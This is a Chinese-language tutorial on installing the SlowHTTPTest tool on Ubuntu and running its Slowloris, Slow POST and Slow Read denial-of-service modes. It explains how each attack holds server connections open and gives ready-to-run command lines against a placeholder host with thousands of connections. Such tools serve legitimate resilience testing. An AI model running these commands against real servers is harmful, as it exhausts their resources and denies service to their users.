SlowHTTPTest 是依赖 HTTP 协议的慢速攻击 DoS 攻击工具。
工具的设计基本原理是服务器在请求完全接收后才会进行处理。
如果客户端的 HTTP 请求发送速度缓慢或者发送不完整,服务端会为其保留连接资源,一直占用,直到请求发送完成。
如果存在大量的此类慢速 HTTP 请求,最终服务器连接资源将被耗尽,导致不能处理正常的 HTTP 请求,这就导致 DoS 慢速攻击。
下面将基于 Ubuntu 20.04 LTS 系统来验证 SlowHTTPTest 工具的安装和使用。安装步骤如下:
(1)下载 SlowHTTPTest 工具,下载地址如下:
https://github.com/shekyan/slowhttptest/releases/tag/v1.8.2
(2)解压安装包
tar -xvzf slowhttptest-1.8.2.tar.gz
(3)编译安装 SlowHTTPTest 工具
./configure make && make install
安装成功后,可以使用 slowhttptest -h 命令查看 SlowHTTPTest 参数,如下:
-g 测试完成后,以时间戳为名生成一个 CVS 和 HTML 文件的统计数据
-H SlowLoris 模式
-B Slow POST 模式
-R Range Header 模式
-X Slow Read 模式
-c number of connections 测试时建立的连接数
-d HTTP proxy host:port 为所有连接指定代理
-e HTTP proxy host:port 为探测连接指定代理
-i seconds 在 slowrois 和 Slow POST 模式中,指定发送数据间的间隔
-l seconds 测试维持时间
-n seconds 在 Slow Read 模式下,指定每次操作的时间间隔
-o file name 使用-g参数时,可以使用此参数指定输出文件名
-p seconds 指定等待时间来确认 DoS 攻击已经成功
-r connections per second 每秒连接个数
-s bytes 声明 Content-Length header 的值
-t HTTP verb 在请求时使用什么操作,默认 GET
-u URL 指定目标url
-v level 日志等级(详细度)
-w bytes slow read 模式中指定 tcp 窗口范围下限
-x bytes 在 slowloris and Slow POST tests 模式中,指定发送的最大数据长度
-y bytes slow read 模式中指定 tcp 窗口范围上限
-z bytes 在每次的 read() 中,从 buffer 中读取数据量
完整的 http 请求是以 \r\n\r\n 结尾,攻击时仅发送 \r\n,少发送一个 \r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
示例:
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3
原理和 slowloris 模式有点类似,这次是通过声明一个较大的 content-length 后,body 缓慢发送,导致服务器一直等待
示例:
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3
向服务器发送一个正常合法的读取请求,请求一个很大的文件,人为把 TCP 滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。
这里有两点要注意:
(1)tcp 窗口设置要比服务器的 socket 缓存小,这样发送才慢。
(2)请求的文件要比服务器的 socket 缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。
示例:
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3